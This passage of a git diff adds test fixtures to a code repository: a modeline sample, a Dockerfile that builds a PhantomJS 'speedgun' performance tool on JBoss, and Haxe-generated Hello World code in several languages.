+++ b/test/fixtures/Data/Modelines/seeplusplusEmacs12
@@ -0,0 +1 @@
+-*--------- foo:bar mode: c++ -*-
diff --git a/test/fixtures/Dockerfile/Dockerfile b/test/fixtures/Dockerfile/Dockerfile
new file mode 100755
index 0000000000..c61ae8d07c
--- /dev/null
+++ b/test/fixtures/Dockerfile/Dockerfile
@@ -0,0 +1,97 @@
+FROM ubuntu:14.04
+
+MAINTAINER Wesley Hales <wesleyhales@gmail.com>
+
+# Install.
+RUN \
+  sed -i 's/# \(.*multiverse$\)/\1/g' /etc/apt/sources.list && \
+  apt-get update && \
+  apt-get -y upgrade && \
+  apt-get install -y build-essential && \
+  apt-get install -y software-properties-common && \
+  apt-get install -y byobu curl git htop man unzip vim wget && \
+  rm -rf /var/lib/apt/lists/*
+
+# Set environment variables.
+ENV HOME /root
+
+# Define working directory.
+WORKDIR /root
+
+# Install Java.
+RUN \
+  echo oracle-java7-installer shared/accepted-oracle-license-v1-1 select true | debconf-set-selections && \
+  add-apt-repository -y ppa:webupd8team/java && \
+  apt-get update && \
+  apt-get install -y oracle-java7-installer && \
+  rm -rf /var/lib/apt/lists/* \
+  echo "done"
+
+# Install Phantom2 build requirements    (Won't build on systems < 2GB ram)
+RUN \
+  sudo apt-get update && apt-get -y install g++ flex bison gperf ruby perl \
+  libsqlite3-dev libfontconfig1-dev libicu-dev libfreetype6 libssl-dev libjpeg-dev libqt5webkit5-dev
+
+#####################################build latest phantom
+######################################+++++ only do this in dev when needed
+
+#RUN rm -rf phantomjs
+
+#RUN git clone git://github.com/ariya/phantomjs.git
+
+#RUN cd /root/phantomjs/ && ./build.sh --confirm
+
+#RUN ln -s /root/phantomjs/bin/phantomjs /usr/bin/phantomjs
+######################################+++++ END only do this in dev when needed
+
+######################################+++++ comment out when building new version of phantomjs
+ADD phantomjs /root/phantomjs
+
+RUN ln -s /root/phantomjs /usr/bin/phantomjs
+######################################+++++ END comment out when building new version of phantomjs
+
+RUN git clone git://github.com/wesleyhales/speedgun.git
+
+#RUN mkdir /root/speedgun/core/reports
+
+#VOLUME ["/root/speedgun/core/reports"]
+
+RUN cd speedgun/core && phantomjs --ssl-protocol=any --ignore-ssl-errors=yes speedgun.js http://www.google.com performance csv
+
+RUN cd /root && wget https://dl.dropboxusercontent.com/u/12278845/server.tar
+
+RUN cd /root && tar -xvf server.tar
+
+#RUN echo "cd /root/jboss-as-7.1.1.Final-fluxui/ && ./bin/standalone.sh --server-config=standalone-full.xml -b 0.0.0.0" >> /root/.bashrc
+
+# install maven
+RUN sudo apt-get update && apt-get install -y maven
+
+ADD src /root/src
+ADD pom.xml /root/pom.xml
+RUN mvn clean install
+
+#RUN cp -rf /root/target/speedgun.war /root/jboss-as-7.1.1.Final-fluxui/standalone/deployments/
+
+RUN ln -s /root/target/speedgun /root/jboss-as-7.1.1.Final-fluxui/standalone/deployments/speedgun.war
+
+RUN touch /root/jboss-as-7.1.1.Final-fluxui/standalone/deployments/speedgun.war.dodeploy
+
+# Cleanup old JMS queue
+RUN rm -rf /root/jboss-as-7.1.1.Final-fluxui/standalone/tmp/ /root/jboss-as-7.1.1.Final-fluxui/standalone/data/*
+
+RUN mkdir /root/jboss-as-7.1.1.Final-fluxui/speedgun
+RUN cd /root/jboss-as-7.1.1.Final-fluxui/speedgun && curl -O https://raw.githubusercontent.com/wesleyhales/speedgun/master/core/speedgun.js
+RUN cd /root/jboss-as-7.1.1.Final-fluxui/speedgun && curl -O https://raw.githubusercontent.com/wesleyhales/speedgun/master/core/config.json
+
+COPY server-entrypoint.sh /
+
+ENTRYPOINT ["/server-entrypoint.sh"]
+
+RUN apt-get install -y postgresql-client
+
+COPY speedgun.sql /
+
+EXPOSE 3306 8080 8443
+
+#CMD ["postgres"]
\ No newline at end of file
diff --git a/test/fixtures/Generated/Haxe/Main.cpp b/test/fixtures/Generated/Haxe/Main.cpp
new file mode 100644
index 0000000000..c0414c1a67
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/Main.cpp
@@ -0,0 +1,86 @@
+// Generated by Haxe 4.0.5
+#include <hxcpp.h>
+
+#ifndef INCLUDED_Main
+#include <Main.h>
+#endif
+#ifndef INCLUDED_haxe_Log
+#include <haxe/Log.h>
+#endif
+
+HX_LOCAL_STACK_FRAME(_hx_pos_e47a9afac0942eb9_3_main,"Main","main",0xed0e206e,"Main.main","Main.hx",3,0x087e5c05)
+
+void Main_obj::__construct() { }
+
+Dynamic Main_obj::__CreateEmpty() { return new Main_obj; }
+
+void *Main_obj::_hx_vtable = 0;
+
+Dynamic Main_obj::__Create(hx::DynamicArray inArgs)
+{
+	hx::ObjectPtr< Main_obj > _hx_result = new Main_obj();
+	_hx_result->__construct();
+	return _hx_result;
+}
+
+bool Main_obj::_hx_isInstanceOf(int inClassId) {
+	return inClassId==(int)0x00000001 || inClassId==(int)0x332f6459;
+}
+
+void Main_obj::main(){
+            	HX_STACKFRAME(&_hx_pos_e47a9afac0942eb9_3_main)
+HXDLIN(   3)		::haxe::Log_obj::trace(HX_("Hello World",84,f6,db,6f),hx::SourceInfo(HX_("source/Main.hx",91,d3,a7,40),3,HX_("Main",59,64,2f,33),HX_("main",39,38,56,48)));
+            	}
+
+
+STATIC_HX_DEFINE_DYNAMIC_FUNC0(Main_obj,main,(void))
+
+
+Main_obj::Main_obj()
+{
+}
+
+bool Main_obj::__GetStatic(const ::String &inName, Dynamic &outValue, hx::PropertyAccess inCallProp)
+{
+	switch(inName.length) {
+	case 4:
+		if (HX_FIELD_EQ(inName,"main") ) { outValue = main_dyn(); return true; }
+	}
+	return false;
+}
+
+#ifdef HXCPP_SCRIPTABLE
+static hx::StorageInfo *Main_obj_sMemberStorageInfo = 0;
+static hx::StaticInfo *Main_obj_sStaticStorageInfo = 0;
+#endif
+
+hx::Class Main_obj::__mClass;
+
+static ::String Main_obj_sStaticFields[] = {
+	HX_("main",39,38,56,48),
+	::String(null())
+};
+
+void Main_obj::__register()
+{
+	Main_obj _hx_dummy;
+	Main_obj::_hx_vtable = *(void **)&_hx_dummy;
+	hx::Static(__mClass) = new hx::Class_obj();
+	__mClass->mName = HX_("Main",59,64,2f,33);
+	__mClass->mSuper = &super::__SGetClass();
+	__mClass->mConstructEmpty = &__CreateEmpty;
+	__mClass->mConstructArgs = &__Create;
+	__mClass->mGetStaticField = &Main_obj::__GetStatic;
+	__mClass->mSetStaticField = &hx::Class_obj::SetNoStaticField;
+	__mClass->mStatics = hx::Class_obj::dupFunctions(Main_obj_sStaticFields);
+	__mClass->mMembers = hx::Class_obj::dupFunctions(0 /* sMemberFields */);
+	__mClass->mCanCast = hx::TCanCast< Main_obj >;
+#ifdef HXCPP_SCRIPTABLE
+	__mClass->mMemberStorageInfo = Main_obj_sMemberStorageInfo;
+#endif
+#ifdef HXCPP_SCRIPTABLE
+	__mClass->mStaticStorageInfo = Main_obj_sStaticStorageInfo;
+#endif
+	hx::_hx_RegisterClass(__mClass->mName, __mClass);
+}
+
diff --git a/test/fixtures/Generated/Haxe/Main.cs b/test/fixtures/Generated/Haxe/Main.cs
new file mode 100644
index 0000000000..febc7eec4d
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/Main.cs
@@ -0,0 +1,37 @@
+// Generated by Haxe 4.0.5
+
+#pragma warning disable 109, 114, 219, 429, 168, 162
+public class EntryPoint__Main {
+	public static void Main() {
+		global::cs.Boot.init();
+		{
+			global::Main.main();
+		}
+	}
+}
+
+public class Main : global::haxe.lang.HxObject {
+	
+	public Main(global::haxe.lang.EmptyObject empty) {
+	}
+	
+	
+	public Main() {
+		global::Main.__hx_ctor__Main(this);
+	}
+	
+	
+	protected static void __hx_ctor__Main(global::Main __hx_this) {
+	}
+	
+	
+	public static void main() {
+		unchecked {
+			global::haxe.Log.trace.__hx_invoke2_o(default(double), "Hello World", default(double), new global::haxe.lang.DynamicObject(new int[]{302979532, 1547539107, 1648581351}, new object[]{"main", "Main", "source/Main.hx"}, new int[]{1981972957}, new double[]{((double) (3) )}));
+		}
+	}
+	
+	
+}
+
+
diff --git a/test/fixtures/Generated/Haxe/Main.h b/test/fixtures/Generated/Haxe/Main.h
new file mode 100644
index 0000000000..c3917d2df2
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/Main.h
@@ -0,0 +1,58 @@
+// Generated by Haxe 4.0.5
+#ifndef INCLUDED_Main
+#define INCLUDED_Main
+
+#ifndef HXCPP_H
+#include <hxcpp.h>
+#endif
+
+HX_DECLARE_CLASS0(Main)
+
+
+
+class HXCPP_CLASS_ATTRIBUTES Main_obj : public hx::Object
+{
+	public:
+		typedef hx::Object super;
+		typedef Main_obj OBJ_;
+		Main_obj();
+
+	public:
+		enum { _hx_ClassId = 0x332f6459 };
+
+		void __construct();
+		inline void *operator new(size_t inSize, bool inContainer=false,const char *inName="Main")
+			{ return hx::Object::operator new(inSize,inContainer,inName); }
+		inline void *operator new(size_t inSize, int extra)
+			{ return hx::Object::operator new(inSize+extra,false,"Main"); }
+
+		inline static hx::ObjectPtr< Main_obj > __new() {
+			hx::ObjectPtr< Main_obj > __this = new Main_obj();
+			__this->__construct();
+			return __this;
+		}
+
+		inline static hx::ObjectPtr< Main_obj > __alloc(hx::Ctx *_hx_ctx) {
+			Main_obj *__this = (Main_obj*)(hx::Ctx::alloc(_hx_ctx, sizeof(Main_obj), false, "Main"));
+			*(void **)__this = Main_obj::_hx_vtable;
+			return __this;
+		}
+
+		static void * _hx_vtable;
+		static Dynamic __CreateEmpty();
+		static Dynamic __Create(hx::DynamicArray inArgs);
+		//~Main_obj();
+
+		HX_DO_RTTI_ALL;
+		static bool __GetStatic(const ::String &inString, Dynamic &outValue, hx::PropertyAccess inCallProp);
+		static void __register();
+		bool _hx_isInstanceOf(int inClassId);
+		::String __ToString() const { return HX_("Main",59,64,2f,33); }
+
+		static void main();
+		static ::Dynamic main_dyn();
+
+};
+
+
+#endif /* INCLUDED_Main */ 
diff --git a/test/fixtures/Generated/Haxe/Main.java b/test/fixtures/Generated/Haxe/Main.java
new file mode 100644
index 0000000000..2fc931c139
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/Main.java
@@ -0,0 +1,41 @@
+// Generated by Haxe 4.0.5
+package haxe.root;
+
+import haxe.root.*;
+
+@SuppressWarnings(value={"rawtypes", "unchecked"})
+public class Main extends haxe.lang.HxObject
+{
+	public static void main(String[] args)
+	{
+		haxe.java.Init.init();
+		{
+			haxe.root.Main.main();
+		}
+	}
+	
+	public Main(haxe.lang.EmptyObject empty)
+	{
+	}
+	
+	
+	public Main()
+	{
+		haxe.root.Main.__hx_ctor__Main(this);
+	}
+	
+	
+	protected static void __hx_ctor__Main(haxe.root.Main __hx_this)
+	{
+	}
+	
+	
+	public static void main()
+	{
+		haxe.Log.trace.__hx_invoke2_o(0.0, "Hello World", 0.0, new haxe.lang.DynamicObject(new java.lang.String[]{"className", "fileName", "methodName"}, new java.lang.Object[]{"Main", "source/Main.hx", "main"}, new java.lang.String[]{"lineNumber"}, new double[]{((double) (((double) (3) )) )}));
+	}
+	
+	
+}
+
+
diff --git a/test/fixtures/Generated/Haxe/Main.php b/test/fixtures/Generated/Haxe/Main.php
new file mode 100644
index 0000000000..b38f9b8f24
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/Main.php
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Generated by Haxe 4.0.5
+ */
+
+use \php\_Boot\HxAnon;
+use \php\Boot;
+use \haxe\Log;
+
+class Main {
+	/**
+	 * @return void
+	 */
+	public static function main () {
+		#source/Main.hx:3: characters 3-8
+		(Log::$trace)("Hello World", new HxAnon([
+			"fileName" => "source/Main.hx",
+			"lineNumber" => 3,
+			"className" => "Main",
+			"methodName" => "main",
+		]));
+	}
+
+	/**
+	 * @return void
+	 */
+	public function __construct () {
+	}
+}
+
+Boot::registerClass(Main::class, 'Main');
diff --git a/test/fixtures/Generated/Haxe/main.js b/test/fixtures/Generated/Haxe/main.js
new file mode 100644
index 0000000000..e4666d260a
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/main.js
@@ -0,0 +1,8 @@
+// Generated by Haxe 4.0.5
+(function ($global) { "use strict";
+var Main = function() { };
+Main.main = function() {
+	console.log("source/Main.hx:3:","Hello World");
+};
+Main.main();
+})({});
diff --git a/test/fixtures/Generated/Haxe/main.lua b/test/fixtures/Generated/Haxe/main.lua
new file mode 100644
index 0000000000..d9200b1cf6
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/main.lua
@@ -0,0 +1,816 @@
+-- Generated by Haxe 4.0.5
+local _hx_array_mt = {
+	__newindex = function(t,k,v)
+	  local len = t.length
+	  t.length =  k >= len and (k + 1) or len
+	  rawset(t,k,v)
+	end
+  }
+  
+  local function _hx_tab_array(tab,length)
+	tab.length = length
+	return setmetatable(tab, _hx_array_mt)
+  end
+  
+  local function _hx_anon_newindex(t,k,v) t.__fields__[k] = true; rawset(t,k,v); end
+  local _hx_anon_mt = {__newindex=_hx_anon_newindex}
+  local function _hx_a(...)
+	local __fields__ = {};
+	local ret = {__fields__ = __fields__};
+	local max = select('#',...);
+	local tab = {...};
+	local cur = 1;
+	while cur < max do
+	  local v = tab[cur];
+	  __fields__[v] = true;
+	  ret[v] = tab[cur+1];
+	  cur = cur + 2
+	end
+	return setmetatable(ret, _hx_anon_mt)
+  end
+  
+  local function _hx_e()
+	return setmetatable({__fields__ = {}}, _hx_anon_mt)
+  end
+  
+  local function _hx_o(obj)
+	return setmetatable(obj, _hx_anon_mt)
+  end
+  
+  local function _hx_new(prototype)
+	return setmetatable({__fields__ = {}}, {__newindex=_hx_anon_newindex, __index=prototype})
+  end
+  
+  local _hxClasses = {}
+  local Int = _hx_e();
+  local Dynamic = _hx_e();
+  local Float = _hx_e();
+  local Bool = _hx_e();
+  local Class = _hx_e();
+  local Enum = _hx_e();
+  
+  local Array = _hx_e()
+  __lua_lib_luautf8_Utf8 = _G.require("lua-utf8")
+  local Main = _hx_e()
+  local Math = _hx_e()
+  local String = _hx_e()
+  local Std = _hx_e()
+  __haxe_Log = _hx_e()
+  __lua_Boot = _hx_e()
+  
+  local _hx_bind, _hx_bit, _hx_staticToInstance, _hx_funcToField, _hx_maxn, _hx_print, _hx_apply_self, _hx_box_mr, _hx_bit_clamp, _hx_table, _hx_bit_raw
+  local _hx_pcall_default = {};
+  local _hx_pcall_break = {};
+  
+  Array.new = function() 
+	local self = _hx_new(Array.prototype)
+	Array.super(self)
+	return self
+  end
+  Array.super = function(self) 
+	_hx_tab_array(self, 0);
+  end
+  Array.prototype = _hx_a();
+  Array.prototype.concat = function(self,a) 
+	local _g = _hx_tab_array({}, 0);
+	local _g1 = 0;
+	local _g2 = self;
+	while (_g1 < _g2.length) do 
+	  local i = _g2[_g1];
+	  _g1 = _g1 + 1;
+	  _g:push(i);
+	end;
+	local ret = _g;
+	local _g3 = 0;
+	while (_g3 < a.length) do 
+	  local i1 = a[_g3];
+	  _g3 = _g3 + 1;
+	  ret:push(i1);
+	end;
+	do return ret end
+  end
+  Array.prototype.join = function(self,sep) 
+	local tbl = ({});
+	local _gthis = self;
+	local cur_length = 0;
+	local i = _hx_o({__fields__={hasNext=true,next=true},hasNext=function(self) 
+	  do return cur_length < _gthis.length end;
+	end,next=function(self) 
+	  cur_length = cur_length + 1;
+	  do return _gthis[cur_length - 1] end;
+	end});
+	while (i:hasNext()) do 
+	  local i1 = i:next();
+	  _G.table.insert(tbl, Std.string(i1));
+	end;
+	do return _G.table.concat(tbl, sep) end
+  end
+  Array.prototype.pop = function(self) 
+	if (self.length == 0) then 
+	  do return nil end;
+	end;
+	local ret = self[self.length - 1];
+	self[self.length - 1] = nil;
+	self.length = self.length - 1;
+	do return ret end
+  end
+  Array.prototype.push = function(self,x) 
+	self[self.length] = x;
+	do return self.length end
+  end
+  Array.prototype.reverse = function(self) 
+	local tmp;
+	local i = 0;
+	while (i < Std.int(self.length / 2)) do 
+	  tmp = self[i];
+	  self[i] = self[(self.length - i) - 1];
+	  self[(self.length - i) - 1] = tmp;
+	  i = i + 1;
+	end;
+  end
+  Array.prototype.shift = function(self) 
+	if (self.length == 0) then 
+	  do return nil end;
+	end;
+	local ret = self[0];
+	if (self.length == 1) then 
+	  self[0] = nil;
+	else
+	  if (self.length > 1) then 
+		self[0] = self[1];
+		_G.table.remove(self, 1);
+	  end;
+	end;
+	local tmp = self;
+	tmp.length = tmp.length - 1;
+	do return ret end
+  end
+  Array.prototype.slice = function(self,pos,_end) 
+	if ((_end == nil) or (_end > self.length)) then 
+	  _end = self.length;
+	else
+	  if (_end < 0) then 
+		_end = _G.math.fmod((self.length - (_G.math.fmod(-_end, self.length))), self.length);
+	  end;
+	end;
+	if (pos < 0) then 
+	  pos = _G.math.fmod((self.length - (_G.math.fmod(-pos, self.length))), self.length);
+	end;
+	if ((pos > _end) or (pos > self.length)) then 
+	  do return _hx_tab_array({}, 0) end;
+	end;
+	local ret = _hx_tab_array({}, 0);
+	local _g = pos;
+	local _g1 = _end;
+	while (_g < _g1) do 
+	  _g = _g + 1;
+	  local i = _g - 1;
+	  ret:push(self[i]);
+	end;
+	do return ret end
+  end
+  Array.prototype.sort = function(self,f) 
+	local i = 0;
+	local l = self.length;
+	while (i < l) do 
+	  local swap = false;
+	  local j = 0;
+	  local max = (l - i) - 1;
+	  while (j < max) do 
+		if (f(self[j], self[j + 1]) > 0) then 
+		  local tmp = self[j + 1];
+		  self[j + 1] = self[j];
+		  self[j] = tmp;
+		  swap = true;
+		end;
+		j = j + 1;
+	  end;
+	  if (not swap) then 
+		break;
+	  end;
+	  i = i + 1;
+	end;
+  end
+  Array.prototype.splice = function(self,pos,len) 
+	if ((len < 0) or (pos > self.length)) then 
+	  do return _hx_tab_array({}, 0) end;
+	else
+	  if (pos < 0) then 
+		pos = self.length - (_G.math.fmod(-pos, self.length));
+	  end;
+	end;
+	len = Math.min(len, self.length - pos);
+	local ret = _hx_tab_array({}, 0);
+	local _g = pos;
+	local _g1 = pos + len;
+	while (_g < _g1) do 
+	  _g = _g + 1;
+	  local i = _g - 1;
+	  ret:push(self[i]);
+	  self[i] = self[i + len];
+	end;
+	local _g2 = pos + len;
+	local _g3 = self.length;
+	while (_g2 < _g3) do 
+	  _g2 = _g2 + 1;
+	  local i1 = _g2 - 1;
+	  self[i1] = self[i1 + len];
+	end;
+	local tmp = self;
+	tmp.length = tmp.length - len;
+	do return ret end
+  end
+  Array.prototype.toString = function(self) 
+	local tbl = ({});
+	_G.table.insert(tbl, "[");
+	_G.table.insert(tbl, self:join(","));
+	_G.table.insert(tbl, "]");
+	do return _G.table.concat(tbl, "") end
+  end
+  Array.prototype.unshift = function(self,x) 
+	local len = self.length;
+	local _g = 0;
+	local _g1 = len;
+	while (_g < _g1) do 
+	  _g = _g + 1;
+	  local i = _g - 1;
+	  self[len - i] = self[(len - i) - 1];
+	end;
+	self[0] = x;
+  end
+  Array.prototype.insert = function(self,pos,x) 
+	if (pos > self.length) then 
+	  pos = self.length;
+	end;
+	if (pos < 0) then 
+	  pos = self.length + pos;
+	  if (pos < 0) then 
+		pos = 0;
+	  end;
+	end;
+	local cur_len = self.length;
+	while (cur_len > pos) do 
+	  self[cur_len] = self[cur_len - 1];
+	  cur_len = cur_len - 1;
+	end;
+	self[pos] = x;
+  end
+  Array.prototype.remove = function(self,x) 
+	local _g = 0;
+	local _g1 = self.length;
+	while (_g < _g1) do 
+	  _g = _g + 1;
+	  local i = _g - 1;
+	  if (self[i] == x) then 
+		local _g2 = i;
+		local _g11 = self.length - 1;
+		while (_g2 < _g11) do 
+		  _g2 = _g2 + 1;
+		  local j = _g2 - 1;
+		  self[j] = self[j + 1];
+		end;
+		self[self.length - 1] = nil;
+		self.length = self.length - 1;
+		do return true end;
+	  end;
+	end;
+	do return false end
+  end
+  Array.prototype.indexOf = function(self,x,fromIndex) 
+	local _end = self.length;
+	if (fromIndex == nil) then 
+	  fromIndex = 0;
+	else
+	  if (fromIndex < 0) then 
+		fromIndex = self.length + fromIndex;
+		if (fromIndex < 0) then 
+		  fromIndex = 0;
+		end;
+	  end;
+	end;
+	local _g = fromIndex;
+	local _g1 = _end;
+	while (_g < _g1) do 
+	  _g = _g + 1;
+	  local i = _g - 1;
+	  if (x == self[i]) then 
+		do return i end;
+	  end;
+	end;
+	do return -1 end
+  end
+  Array.prototype.lastIndexOf = function(self,x,fromIndex) 
+	if ((fromIndex == nil) or (fromIndex >= self.length)) then 
+	  fromIndex = self.length - 1;
+	else
+	  if (fromIndex < 0) then 
+		fromIndex = self.length + fromIndex;
+		if (fromIndex < 0) then 
+		  do return -1 end;
+		end;
+	  end;
+	end;
+	local i = fromIndex;
+	while (i >= 0) do 
+	  if (self[i] == x) then 
+		do return i end;
+	  else
+		i = i - 1;
+	  end;
+	end;
+	do return -1 end
+  end
+  Array.prototype.copy = function(self) 
+	local _g = _hx_tab_array({}, 0);
+	local _g1 = 0;
+	local _g2 = self;
+	while (_g1 < _g2.length) do 
+	  local i = _g2[_g1];
+	  _g1 = _g1 + 1;
+	  _g:push(i);
+	end;
+	do return _g end
+  end
+  Array.prototype.map = function(self,f) 
+	local _g = _hx_tab_array({}, 0);
+	local _g1 = 0;
+	local _g2 = self;
+	while (_g1 < _g2.length) do 
+	  local i = _g2[_g1];
+	  _g1 = _g1 + 1;
+	  _g:push(f(i));
+	end;
+	do return _g end
+  end
+  Array.prototype.filter = function(self,f) 
+	local _g = _hx_tab_array({}, 0);
+	local _g1 = 0;
+	local _g2 = self;
+	while (_g1 < _g2.length) do 
+	  local i = _g2[_g1];
+	  _g1 = _g1 + 1;
+	  if (f(i)) then 
+		_g:push(i);
+	  end;
+	end;
+	do return _g end
+  end
+  Array.prototype.iterator = function(self) 
+	local _gthis = self;
+	local cur_length = 0;
+	do return _hx_o({__fields__={hasNext=true,next=true},hasNext=function(self) 
+	  do return cur_length < _gthis.length end;
+	end,next=function(self) 
+	  cur_length = cur_length + 1;
+	  do return _gthis[cur_length - 1] end;
+	end}) end
+  end
+  Array.prototype.resize = function(self,len) 
+	if (self.length < len) then 
+	  self.length = len;
+	else
+	  if (self.length > len) then 
+		local _g = len;
+		local _g1 = self.length;
+		while (_g < _g1) do 
+		  _g = _g + 1;
+		  local i = _g - 1;
+		  self[i] = nil;
+		end;
+		self.length = len;
+	  end;
+	end;
+  end
+  
+  Main.new = {}
+  Main.main = function() 
+	__haxe_Log.trace("Hello World", _hx_o({__fields__={fileName=true,lineNumber=true,className=true,methodName=true},fileName="source/Main.hx",lineNumber=3,className="Main",methodName="main"}));
+  end
+  
+  Math.new = {}
+  Math.isNaN = function(f) 
+	do return f ~= f end;
+  end
+  Math.isFinite = function(f) 
+	if (f > -_G.math.huge) then 
+	  do return f < _G.math.huge end;
+	else
+	  do return false end;
+	end;
+  end
+  Math.min = function(a,b) 
+	if (Math.isNaN(a) or Math.isNaN(b)) then 
+	  do return (0/0) end;
+	else
+	  do return _G.math.min(a, b) end;
+	end;
+  end
+  
+  String.new = function(string) 
+	local self = _hx_new(String.prototype)
+	String.super(self,string)
+	self = string
+	return self
+  end
+  String.super = function(self,string) 
+  end
+  String.__index = function(s,k) 
+	if (k == "length") then 
+	  do return __lua_lib_luautf8_Utf8.len(s) end;
+	else
+	  local o = String.prototype;
+	  local field = k;
+	  if ((function() 
+		local _hx_1
+		if ((_G.type(o) == "string") and ((String.prototype[field] ~= nil) or (field == "length"))) then 
+		_hx_1 = true; elseif (o.__fields__ ~= nil) then 
+		_hx_1 = o.__fields__[field] ~= nil; else 
+		_hx_1 = o[field] ~= nil; end
+		return _hx_1
+	  end )()) then 
+		do return String.prototype[k] end;
+	  else
+		if (String.__oldindex ~= nil) then 
+		  if (_G.type(String.__oldindex) == "function") then 
+			do return String.__oldindex(s, k) end;
+		  else
+			if (_G.type(String.__oldindex) == "table") then 
+			  do return String.__oldindex[k] end;
+			end;
+		  end;
+		  do return nil end;
+		else
+		  do return nil end;
+		end;
+	  end;
+	end;
+  end
+  String.fromCharCode = function(code) 
+	do return __lua_lib_luautf8_Utf8.char(code) end;
+  end
+  String.prototype = _hx_a();
+  String.prototype.toUpperCase = function(self) 
+	do return __lua_lib_luautf8_Utf8.upper(self) end
+  end
+  String.prototype.toLowerCase = function(self) 
+	do return __lua_lib_luautf8_Utf8.lower(self) end
+  end
+  String.prototype.indexOf = function(self,str,startIndex) 
+	if (startIndex == nil) then 
+	  startIndex = 1;
+	else
+	  startIndex = startIndex + 1;
+	end;
+	local r = __lua_lib_luautf8_Utf8.find(self, str, startIndex, true);
+	if ((r ~= nil) and (r > 0)) then 
+	  do return r - 1 end;
+	else
+	  do return -1 end;
+	end;
+  end
+  String.prototype.lastIndexOf = function(self,str,startIndex) 
+	local i = 0;
+	local ret = -1;
+	if (startIndex == nil) then 
+	  startIndex = __lua_lib_luautf8_Utf8.len(self);
+	end;
+	while (true) do 
+	  local startIndex1 = ret + 1;
+	  if (startIndex1 == nil) then 
+		startIndex1 = 1;
+	  else
+		startIndex1 = startIndex1 + 1;
+	  end;
+	  local r = __lua_lib_luautf8_Utf8.find(self, str, startIndex1, true);
+	  local p = (function() 
+		local _hx_1
+		if ((r ~= nil) and (r > 0)) then 
+		_hx_1 = r - 1; else 
+		_hx_1 = -1; end
+		return _hx_1
+	  end )();
+	  if ((p == -1) or (p > startIndex)) then 
+		break;
+	  end;
+	  ret = p;
+	end;
+	do return ret end
+  end
+  String.prototype.split = function(self,delimiter) 
+	local idx = 1;
+	local ret = _hx_tab_array({}, 0);
+	local delim_offset = (function() 
+	  local _hx_1
+	  if (__lua_lib_luautf8_Utf8.len(delimiter) > 0) then 
+	  _hx_1 = __lua_lib_luautf8_Utf8.len(delimiter); else 
+	  _hx_1 = 1; end
+	  return _hx_1
+	end )();
+	while (idx ~= nil) do 
+	  local newidx = 0;
+	  if (__lua_lib_luautf8_Utf8.len(delimiter) > 0) then 
+		newidx = __lua_lib_luautf8_Utf8.find(self, delimiter, idx, true);
+	  else
+		if (idx >= __lua_lib_luautf8_Utf8.len(self)) then 
+		  newidx = nil;
+		else
+		  newidx = idx + 1;
+		end;
+	  end;
+	  if (newidx ~= nil) then 
+		local match = __lua_lib_luautf8_Utf8.sub(self, idx, newidx - 1);
+		ret:push(match);
+		idx = newidx + __lua_lib_luautf8_Utf8.len(delimiter);
+	  else
+		ret:push(__lua_lib_luautf8_Utf8.sub(self, idx, __lua_lib_luautf8_Utf8.len(self)));
+		idx = nil;
+	  end;
+	end;
+	do return ret end
+  end
+  String.prototype.toString = function(self) 
+	do return self end
+  end
+  String.prototype.substring = function(self,startIndex,endIndex) 
+	if (endIndex == nil) then 
+	  endIndex = __lua_lib_luautf8_Utf8.len(self);
+	end;
+	if (endIndex < 0) then 
+	  endIndex = 0;
+	end;
+	if (startIndex < 0) then 
+	  startIndex = 0;
+	end;
+	if (endIndex < startIndex) then 
+	  do return __lua_lib_luautf8_Utf8.sub(self, endIndex + 1, startIndex) end;
+	else
+	  do return __lua_lib_luautf8_Utf8.sub(self, startIndex + 1, endIndex) end;
+	end;
+  end
+  String.prototype.charAt = function(self,index) 
+	do return __lua_lib_luautf8_Utf8.sub(self, index + 1, index + 1) end
+  end
+  String.prototype.charCodeAt = function(self,index) 
+	do return __lua_lib_luautf8_Utf8.byte(self, index + 1) end
+  end
+  String.prototype.substr = function(self,pos,len) 
+	if ((len == nil) or (len > (pos + __lua_lib_luautf8_Utf8.len(self)))) then 
+	  len = __lua_lib_luautf8_Utf8.len(self);
+	else
+	  if (len < 0) then 
+		len = __lua_lib_luautf8_Utf8.len(self) + len;
+	  end;
+	end;
+	if (pos < 0) then 
+	  pos = __lua_lib_luautf8_Utf8.len(self) + pos;
+	end;
+	if (pos < 0) then 
+	  pos = 0;
+	end;
+	do return __lua_lib_luautf8_Utf8.sub(self, pos + 1, pos + len) end
+  end
+  
+  Std.new = {}
+  Std.string = function(s) 
+	do return __lua_Boot.__string_rec(s) end;
+  end
+  Std.int = function(x) 
+	if (not Math.isFinite(x) or Math.isNaN(x)) then 
+	  do return 0 end;
+	else
+	  do return _hx_bit_clamp(x) end;
+	end;
+  end
+  
+  __haxe_Log.new = {}
+  __haxe_Log.formatOutput = function(v,infos) 
+	local str = Std.string(v);
+	if (infos == nil) then 
+	  do return str end;
+	end;
+	local pstr = Std.string(Std.string(infos.fileName) .. Std.string(":")) .. Std.string(infos.lineNumber);
+	if (infos.customParams ~= nil) then 
+	  local _g = 0;
+	  local _g1 = infos.customParams;
+	  while (_g < _g1.length) do 
+		local v1 = _g1[_g];
+		_g = _g + 1;
+		str = Std.string(str) .. Std.string((Std.string(", ") .. Std.string(Std.string(v1))));
+	  end;
+	end;
+	do return Std.string(Std.string(pstr) .. Std.string(": ")) .. Std.string(str) end;
+  end
+  __haxe_Log.trace = function(v,infos) 
+	local str = __haxe_Log.formatOutput(v, infos);
+	_hx_print(str);
+  end
+  
+  __lua_Boot.new = {}
+  __lua_Boot.isArray = function(o) 
+	if (_G.type(o) == "table") then 
+	  if ((o.__enum__ == nil) and (_G.getmetatable(o) ~= nil)) then 
+		do return _G.getmetatable(o).__index == Array.prototype end;
+	  else
+		do return false end;
+	  end;
+	else
+	  do return false end;
+	end;
+  end
+  __lua_Boot.printEnum = function(o,s) 
+	if (o.length == 2) then 
+	  do return o[0] end;
+	else
+	  local str = Std.string(Std.string(o[0])) .. Std.string("(");
+	  s = Std.string(s) .. Std.string("\t");
+	  local _g = 2;
+	  local _g1 = o.length;
+	  while (_g < _g1) do 
+		_g = _g + 1;
+		local i = _g - 1;
+		if (i ~= 2) then 
+		  str = Std.string(str) .. Std.string((Std.string(",") .. Std.string(__lua_Boot.__string_rec(o[i], s))));
+		else
